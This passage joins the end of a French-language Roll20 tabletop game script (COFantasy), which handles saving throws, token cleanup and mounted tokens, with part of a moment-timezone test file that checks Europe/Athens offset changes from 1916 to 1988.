(isNotCarac(carac)) { error("Save par tour " + attrName + " mal formé", carac); count--; if (count === 0) addEvent(evt); return; } var seuil = parseInt(attr.get('max')); if (isNaN(seuil)) { error("Save par tour " + attrName + " mal formé", seuil); count--; if (count === 0) addEvent(evt); return; } var charId = attr.get('characterid'); var indexSave = attrName.indexOf('SaveParTour'); var effet = attrName.substring(0, indexSave); attrName = effet + attrName.substr(indexSave + 11); var token; iterTokensOfEffet(charId, effet, attrName, function(tok) { if (token === undefined) token = tok; }); if (token === undefined) { log("Pas de token pour le save " + attrName); count--; if (count === 0) addEvent(evt); return; } var perso = { token: token, charId: charId }; if (getState(perso, 'mort')) { count--; if (count === 0) addEvent(evt); return; } var attrEffet = findObjs({ _type: 'attribute', _characterid: charId, name: attrName }); if (attrEffet === undefined || attrEffet.length === 0) { error("Save sans effet temporaire " + attrName, attr); attr.remove(); count--; if (count === 0) addEvent(evt); return; } attrEffet = attrEffet[0]; var expliquer = function(msg) { sendChar(charId, msg); }; var msgPour = " pour ne plus être sous l'effet de " + effet; var sujet = onGenre(charId, 'il', 'elle'); var msgReussite = ", " + sujet + " " + messageEffetTemp[effet].fin; var msgRate = ", " + sujet + " " + messageEffetTemp[effet].actif; var saveOpts = { msgPour: msgPour, msgReussite: msgReussite, msgRate: msgRate }; save({ carac: carac, seuil: seuil }, perso, expliquer, saveOpts, evt, function(reussite) { //asynchrone if (reussite) { finDEffet(attrEffet, effet, attrName, charId, evt, attr); } count--; if (count === 0) addEvent(evt); }); }); //fin boucle attrSave } else { // change the active token setActiveToken(active.id, evt); } addEvent(evt); } function destroyToken(token) { //to remove unused local attributes var charId = token.get('represeernts'); if (charId === "") return; if (token.get('bar1_link') !== "") return; var endName = "_" + token.get('name'); var tokAttr = findObjs({ _type: 'attribute', _characterid: charId }); tokAttr = tokAttr.filter(function(obj) { return obj.get('name').endsWith(endName); }); if (tokAttr.length > 0) { log("Removing token local attributes"); log(tokAttr); tokAttr.forEach(function(attr) { attr.remove(); }); } } function estSurMonture(perso, pageId) { var attr = tokenAttribute(perso, 'monteSur'); if (attr.length === 0) return false; if (pageId === undefined) pageId = perso.token.get('pageid'); var monture = tokenOfId(attr[0].get('current'), attr[0].get('max'), pageId); attr[0].remove(); if (monture === undefined) { sendChar(perso.charId, "descend de sa monture"); return true; } sendChar(perso.charId, "descend de " + monture.token.get('name')); removeTokenAttr(monture, 'estMontePar'); removeTokenAttr(monture, 'positionSurMonture'); return true; } function moveToken(token) { var charId = token.get('represents'); if (charId === '') return; var monture = { token: token, charId: charId }; var pageId = token.get('pageid'); if (estSurMonture(monture, pageId)) return; var attr = tokenAttribute(monture, 'estMontePar'); if (attr.length === 0) return; var cavalier = tokenOfId(attr[0].get('current'), attr[0].get('max'), pageId); if (cavalier === undefined) { attr[0].remove(); return; } var x = token.get('left'); var y = token.get('top'); var position = tokenAttribute(monture, 'positionSurMonture'); if (position.length > 0) { var dx = parseInt(position[0].get('current')); var dy = parseInt(position[0].get('max')); if (!(isNaN(dx) || isNaN(dy))) { x += dx; y += dy; } } cavalier.token.set('left', x); cavalier.token.set('top', y); cavalier.token.set('rotation', monture.token.get('rotation') + attributeAsInt(monture, 'directionSurMonture', 0)); } return { apiCommand: apiCommand, nextTurn: nextTurn, destroyToken: destroyToken, moveToken: moveToken, }; }(); on("ready", function() { COF_loaded = true; state.COFantasy = state.COFantasy || { combat: false, tour: 0, init: 1000, eventId: 0, version: '0.5', }; if (state.COFantasy.version === undefined) { state.COFantasy.eventId = 0; state.COFantasy.version = '0.5'; } log("COFantasy 0.5 loaded"); }); on("chat:message", function(msg) { "use strict"; if (!COF_loaded || msg.type != "api") return; COFantasy.apiCommand(msg); }); on("change:campaign:turnorder", COFantasy.nextTurn); on("destroy:token", COFantasy.destroyToken); on("change:token:left", COFantasy.moveToken); on("change:token:top", COFantasy.moveToken); on("change:token:rotation", COFantasy.moveToken);
shdwjk/roll20-api-scripts
COFantasy/0.5/COFantasy.js
JavaScript
mit
412,955
var moment = require("../../index"); exports["Europe/Athens"] = { "1916" : function (t) { t.equal(moment("1916-07-27T22:26:07+00:00").tz("Europe/Athens").format("HH:mm:ss"), "00:00:59", "1916-07-27T22:26:07+00:00 should be 00:00:59 AMT"); t.equal(moment("1916-07-27T22:26:08+00:00").tz("Europe/Athens").format("HH:mm:ss"), "00:26:08", "1916-07-27T22:26:08+00:00 should be 00:26:08 EET"); t.equal(moment("1916-07-27T22:26:07+00:00").tz("Europe/Athens").zone(), -5692 / 60, "1916-07-27T22:26:07+00:00 should be -5692 / 60 minutes offset in AMT"); t.equal(moment("1916-07-27T22:26:08+00:00").tz("Europe/Athens").zone(), -120, "1916-07-27T22:26:08+00:00 should be -120 minutes offset in EET"); t.done(); }, "1932" : function (t) { t.equal(moment("1932-07-06T21:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1932-07-06T21:59:59+00:00 should be 23:59:59 EET"); t.equal(moment("1932-07-06T22:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:00:00", "1932-07-06T22:00:00+00:00 should be 01:00:00 EEST"); t.equal(moment("1932-08-31T20:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1932-08-31T20:59:59+00:00 should be 23:59:59 EEST"); t.equal(moment("1932-08-31T21:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:00:00", "1932-08-31T21:00:00+00:00 should be 23:00:00 EET"); t.equal(moment("1932-07-06T21:59:59+00:00").tz("Europe/Athens").zone(), -120, "1932-07-06T21:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1932-07-06T22:00:00+00:00").tz("Europe/Athens").zone(), -180, "1932-07-06T22:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1932-08-31T20:59:59+00:00").tz("Europe/Athens").zone(), -180, "1932-08-31T20:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1932-08-31T21:00:00+00:00").tz("Europe/Athens").zone(), -120, "1932-08-31T21:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1941" : function (t) { t.equal(moment("1941-04-06T21:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1941-04-06T21:59:59+00:00 should be 23:59:59 EET"); t.equal(moment("1941-04-06T22:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:00:00", "1941-04-06T22:00:00+00:00 should be 01:00:00 EEST"); t.equal(moment("1941-04-29T20:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1941-04-29T20:59:59+00:00 should be 23:59:59 EEST"); t.equal(moment("1941-04-29T21:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:00:00", "1941-04-29T21:00:00+00:00 should be 23:00:00 CEST"); t.equal(moment("1941-04-06T21:59:59+00:00").tz("Europe/Athens").zone(), -120, "1941-04-06T21:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1941-04-06T22:00:00+00:00").tz("Europe/Athens").zone(), -180, "1941-04-06T22:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1941-04-29T20:59:59+00:00").tz("Europe/Athens").zone(), -180, "1941-04-29T20:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1941-04-29T21:00:00+00:00").tz("Europe/Athens").zone(), -120, "1941-04-29T21:00:00+00:00 should be -120 minutes offset in CEST"); t.done(); }, "1942" : function (t) { t.equal(moment("1942-11-02T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1942-11-02T00:59:59+00:00 should be 02:59:59 CEST"); t.equal(moment("1942-11-02T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:00:00", "1942-11-02T01:00:00+00:00 should be 02:00:00 CET"); t.equal(moment("1942-11-02T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1942-11-02T00:59:59+00:00 should be -120 minutes offset in CEST"); t.equal(moment("1942-11-02T01:00:00+00:00").tz("Europe/Athens").zone(), -60, "1942-11-02T01:00:00+00:00 should be -60 minutes offset in CET"); t.done(); }, "1943" : function (t) { t.equal(moment("1943-03-29T22:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1943-03-29T22:59:59+00:00 should be 23:59:59 CET"); t.equal(moment("1943-03-29T23:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:00:00", "1943-03-29T23:00:00+00:00 should be 01:00:00 CEST"); t.equal(moment("1943-10-03T21:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1943-10-03T21:59:59+00:00 should be 23:59:59 CEST"); t.equal(moment("1943-10-03T22:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:00:00", "1943-10-03T22:00:00+00:00 should be 23:00:00 CET"); t.equal(moment("1943-03-29T22:59:59+00:00").tz("Europe/Athens").zone(), -60, "1943-03-29T22:59:59+00:00 should be -60 minutes offset in CET"); t.equal(moment("1943-03-29T23:00:00+00:00").tz("Europe/Athens").zone(), -120, "1943-03-29T23:00:00+00:00 should be -120 minutes offset in CEST"); t.equal(moment("1943-10-03T21:59:59+00:00").tz("Europe/Athens").zone(), -120, "1943-10-03T21:59:59+00:00 should be -120 minutes offset in CEST"); t.equal(moment("1943-10-03T22:00:00+00:00").tz("Europe/Athens").zone(), -60, "1943-10-03T22:00:00+00:00 should be -60 minutes offset in CET"); t.done(); }, "1944" : function (t) { t.equal(moment("1944-04-03T22:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1944-04-03T22:59:59+00:00 should be 23:59:59 CET"); t.equal(moment("1944-04-03T23:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:00:00", "1944-04-03T23:00:00+00:00 should be 01:00:00 EET"); t.equal(moment("1944-04-03T22:59:59+00:00").tz("Europe/Athens").zone(), -60, "1944-04-03T22:59:59+00:00 should be -60 minutes offset in CET"); t.equal(moment("1944-04-03T23:00:00+00:00").tz("Europe/Athens").zone(), -120, "1944-04-03T23:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1952" : function (t) { t.equal(moment("1952-06-30T21:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1952-06-30T21:59:59+00:00 should be 23:59:59 EET"); t.equal(moment("1952-06-30T22:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:00:00", "1952-06-30T22:00:00+00:00 should be 01:00:00 EEST"); t.equal(moment("1952-11-01T20:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1952-11-01T20:59:59+00:00 should be 23:59:59 EEST"); t.equal(moment("1952-11-01T21:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:00:00", "1952-11-01T21:00:00+00:00 should be 23:00:00 EET"); t.equal(moment("1952-06-30T21:59:59+00:00").tz("Europe/Athens").zone(), -120, "1952-06-30T21:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1952-06-30T22:00:00+00:00").tz("Europe/Athens").zone(), -180, "1952-06-30T22:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1952-11-01T20:59:59+00:00").tz("Europe/Athens").zone(), -180, "1952-11-01T20:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1952-11-01T21:00:00+00:00").tz("Europe/Athens").zone(), -120, "1952-11-01T21:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1975" : function (t) { t.equal(moment("1975-04-11T21:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1975-04-11T21:59:59+00:00 should be 23:59:59 EET"); t.equal(moment("1975-04-11T22:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:00:00", "1975-04-11T22:00:00+00:00 should be 01:00:00 EEST"); t.equal(moment("1975-11-25T21:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "00:59:59", "1975-11-25T21:59:59+00:00 should be 00:59:59 EEST"); t.equal(moment("1975-11-25T22:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "00:00:00", "1975-11-25T22:00:00+00:00 should be 00:00:00 EET"); t.equal(moment("1975-04-11T21:59:59+00:00").tz("Europe/Athens").zone(), -120, "1975-04-11T21:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1975-04-11T22:00:00+00:00").tz("Europe/Athens").zone(), -180, "1975-04-11T22:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1975-11-25T21:59:59+00:00").tz("Europe/Athens").zone(), -180, "1975-11-25T21:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1975-11-25T22:00:00+00:00").tz("Europe/Athens").zone(), -120, "1975-11-25T22:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1976" : function (t) { t.equal(moment("1976-04-10T23:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:59:59", "1976-04-10T23:59:59+00:00 should be 01:59:59 EET"); t.equal(moment("1976-04-11T00:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1976-04-11T00:00:00+00:00 should be 03:00:00 EEST"); t.equal(moment("1976-10-09T23:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1976-10-09T23:59:59+00:00 should be 02:59:59 EEST"); t.equal(moment("1976-10-10T00:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:00:00", "1976-10-10T00:00:00+00:00 should be 02:00:00 EET"); t.equal(moment("1976-04-10T23:59:59+00:00").tz("Europe/Athens").zone(), -120, "1976-04-10T23:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1976-04-11T00:00:00+00:00").tz("Europe/Athens").zone(), -180, "1976-04-11T00:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1976-10-09T23:59:59+00:00").tz("Europe/Athens").zone(), -180, "1976-10-09T23:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1976-10-10T00:00:00+00:00").tz("Europe/Athens").zone(), -120, "1976-10-10T00:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1977" : function (t) { t.equal(moment("1977-04-02T23:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:59:59", "1977-04-02T23:59:59+00:00 should be 01:59:59 EET"); t.equal(moment("1977-04-03T00:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1977-04-03T00:00:00+00:00 should be 03:00:00 EEST"); t.equal(moment("1977-09-25T23:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1977-09-25T23:59:59+00:00 should be 02:59:59 EEST"); t.equal(moment("1977-09-26T00:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:00:00", "1977-09-26T00:00:00+00:00 should be 02:00:00 EET"); t.equal(moment("1977-04-02T23:59:59+00:00").tz("Europe/Athens").zone(), -120, "1977-04-02T23:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1977-04-03T00:00:00+00:00").tz("Europe/Athens").zone(), -180, "1977-04-03T00:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1977-09-25T23:59:59+00:00").tz("Europe/Athens").zone(), -180, "1977-09-25T23:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1977-09-26T00:00:00+00:00").tz("Europe/Athens").zone(), -120, "1977-09-26T00:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1978" : function (t) { t.equal(moment("1978-04-01T23:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:59:59", "1978-04-01T23:59:59+00:00 should be 01:59:59 EET"); t.equal(moment("1978-04-02T00:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1978-04-02T00:00:00+00:00 should be 03:00:00 EEST"); t.equal(moment("1978-09-24T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1978-09-24T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1978-09-24T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1978-09-24T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1978-04-01T23:59:59+00:00").tz("Europe/Athens").zone(), -120, "1978-04-01T23:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1978-04-02T00:00:00+00:00").tz("Europe/Athens").zone(), -180, "1978-04-02T00:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1978-09-24T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1978-09-24T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1978-09-24T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1978-09-24T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1979" : function (t) { t.equal(moment("1979-04-01T06:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "08:59:59", "1979-04-01T06:59:59+00:00 should be 08:59:59 EET"); t.equal(moment("1979-04-01T07:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "10:00:00", "1979-04-01T07:00:00+00:00 should be 10:00:00 EEST"); t.equal(moment("1979-09-28T22:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:59:59", "1979-09-28T22:59:59+00:00 should be 01:59:59 EEST"); t.equal(moment("1979-09-28T23:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:00:00", "1979-09-28T23:00:00+00:00 should be 01:00:00 EET"); t.equal(moment("1979-04-01T06:59:59+00:00").tz("Europe/Athens").zone(), -120, "1979-04-01T06:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1979-04-01T07:00:00+00:00").tz("Europe/Athens").zone(), -180, "1979-04-01T07:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1979-09-28T22:59:59+00:00").tz("Europe/Athens").zone(), -180, "1979-09-28T22:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1979-09-28T23:00:00+00:00").tz("Europe/Athens").zone(), -120, "1979-09-28T23:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1980" : function (t) { t.equal(moment("1980-03-31T21:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1980-03-31T21:59:59+00:00 should be 23:59:59 EET"); t.equal(moment("1980-03-31T22:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "01:00:00", "1980-03-31T22:00:00+00:00 should be 01:00:00 EEST"); t.equal(moment("1980-09-27T20:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:59:59", "1980-09-27T20:59:59+00:00 should be 23:59:59 EEST"); t.equal(moment("1980-09-27T21:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "23:00:00", "1980-09-27T21:00:00+00:00 should be 23:00:00 EET"); t.equal(moment("1980-03-31T21:59:59+00:00").tz("Europe/Athens").zone(), -120, "1980-03-31T21:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1980-03-31T22:00:00+00:00").tz("Europe/Athens").zone(), -180, "1980-03-31T22:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1980-09-27T20:59:59+00:00").tz("Europe/Athens").zone(), -180, "1980-09-27T20:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1980-09-27T21:00:00+00:00").tz("Europe/Athens").zone(), -120, "1980-09-27T21:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1981" : function (t) { t.equal(moment("1981-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1981-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1981-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1981-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1981-09-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1981-09-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1981-09-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1981-09-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1981-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1981-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1981-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1981-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1981-09-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1981-09-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1981-09-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1981-09-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1982" : function (t) { t.equal(moment("1982-03-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1982-03-28T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1982-03-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1982-03-28T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1982-09-26T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1982-09-26T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1982-09-26T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1982-09-26T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1982-03-28T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1982-03-28T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1982-03-28T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1982-03-28T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1982-09-26T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1982-09-26T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1982-09-26T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1982-09-26T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1983" : function (t) { t.equal(moment("1983-03-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1983-03-27T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1983-03-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1983-03-27T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1983-09-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1983-09-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1983-09-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1983-09-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1983-03-27T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1983-03-27T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1983-03-27T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1983-03-27T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1983-09-25T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1983-09-25T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1983-09-25T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1983-09-25T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1984" : function (t) { t.equal(moment("1984-03-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1984-03-25T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1984-03-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1984-03-25T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1984-09-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1984-09-30T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1984-09-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1984-09-30T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1984-03-25T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1984-03-25T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1984-03-25T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1984-03-25T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1984-09-30T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1984-09-30T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1984-09-30T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1984-09-30T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1985" : function (t) { t.equal(moment("1985-03-31T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1985-03-31T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1985-03-31T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1985-03-31T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1985-09-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1985-09-29T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1985-09-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1985-09-29T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1985-03-31T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1985-03-31T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1985-03-31T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1985-03-31T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1985-09-29T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1985-09-29T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1985-09-29T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1985-09-29T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1986" : function (t) { t.equal(moment("1986-03-30T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1986-03-30T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1986-03-30T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1986-03-30T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1986-09-28T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1986-09-28T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1986-09-28T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1986-09-28T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1986-03-30T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1986-03-30T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1986-03-30T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1986-03-30T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1986-09-28T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1986-09-28T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1986-09-28T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1986-09-28T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1987" : function (t) { t.equal(moment("1987-03-29T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1987-03-29T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1987-03-29T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1987-03-29T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1987-09-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1987-09-27T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1987-09-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1987-09-27T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1987-03-29T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1987-03-29T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1987-03-29T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1987-03-29T01:00:00+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1987-09-27T00:59:59+00:00").tz("Europe/Athens").zone(), -180, "1987-09-27T00:59:59+00:00 should be -180 minutes offset in EEST"); t.equal(moment("1987-09-27T01:00:00+00:00").tz("Europe/Athens").zone(), -120, "1987-09-27T01:00:00+00:00 should be -120 minutes offset in EET"); t.done(); }, "1988" : function (t) { t.equal(moment("1988-03-27T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "02:59:59", "1988-03-27T00:59:59+00:00 should be 02:59:59 EET"); t.equal(moment("1988-03-27T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "04:00:00", "1988-03-27T01:00:00+00:00 should be 04:00:00 EEST"); t.equal(moment("1988-09-25T00:59:59+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:59:59", "1988-09-25T00:59:59+00:00 should be 03:59:59 EEST"); t.equal(moment("1988-09-25T01:00:00+00:00").tz("Europe/Athens").format("HH:mm:ss"), "03:00:00", "1988-09-25T01:00:00+00:00 should be 03:00:00 EET"); t.equal(moment("1988-03-27T00:59:59+00:00").tz("Europe/Athens").zone(), -120, "1988-03-27T00:59:59+00:00 should be -120 minutes offset in EET"); t.equal(moment("1988-03-27T01:00:00+00:00").tz("Europe/Athens").zone(), -180, "1988-03-27T01:00:00+00:00 should be -180 minutes offset in EEST"); 